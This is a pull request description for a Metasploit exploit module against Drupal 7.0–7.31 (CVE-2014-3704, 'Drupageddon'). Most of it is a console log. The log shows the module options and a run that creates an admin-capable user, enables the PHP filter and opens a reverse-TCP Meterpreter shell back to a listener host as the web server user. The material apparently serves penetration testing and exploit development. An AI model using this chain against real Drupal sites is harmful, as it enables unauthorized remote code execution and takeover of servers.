Create drupal_drupageddon.rb -- CVE-2014-3704

This pull request is slightly preliminary, this is a non-destructive module to achieve a remote shell on vulnerable Drupal instance between 7.0 and 7.31 (was fixed in 7.32).

@FireFart is working on getting the password hash dynamic, so currently the module uses a hardcoded password hash for 'test'


```
msf exploit(drupal_drupageddon) > show options

Module options (exploit/multi/http/drupal_drupageddon):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        Use a proxy chain
   RHOST      172.31.16.43     yes       The target address
   RPORT      80               yes       The target port
   TARGETURI  /drupal-7.31/    yes       The target URI of the Drupal installation
   VHOST                       no        HTTP server virtual host


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  172.31.16.25     yes       The listen address
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Drupal 7.0 - 7.31


msf exploit(drupal_drupageddon) > exploit

[*] Started reverse handler on 172.31.16.25:4444 
[*] 172.31.16.43:80 - Testing page
[*] 172.31.16.43:80 - Creating new user LGwEPljwqb:test
[*] 172.31.16.43:80 - Logging in as LGwEPljwqb:test
[*] 172.31.16.43:80 - Trying to parse enabled modules
[*] 172.31.16.43:80 - Enabling the PHP filter module
[*] 172.31.16.43:80 - Setting permissions for PHP filter module
[*] 172.31.16.43:80 - Getting tokens from create new article page
[*] 172.31.16.43:80 - Calling preview page. Exploit should trigger...
[*] Sending stage (40551 bytes) to 172.31.16.43
[*] Meterpreter session 8 opened (172.31.16.25:4444 -> 172.31.16.43:60470) at 2014-10-15 19:30:06 -0700

meterpreter > getuid
Server username: www-data (33)
meterpreter > 
```
it's currently only temporary till i figure out how passwords are hashed :) the hardcoded salt is a strong one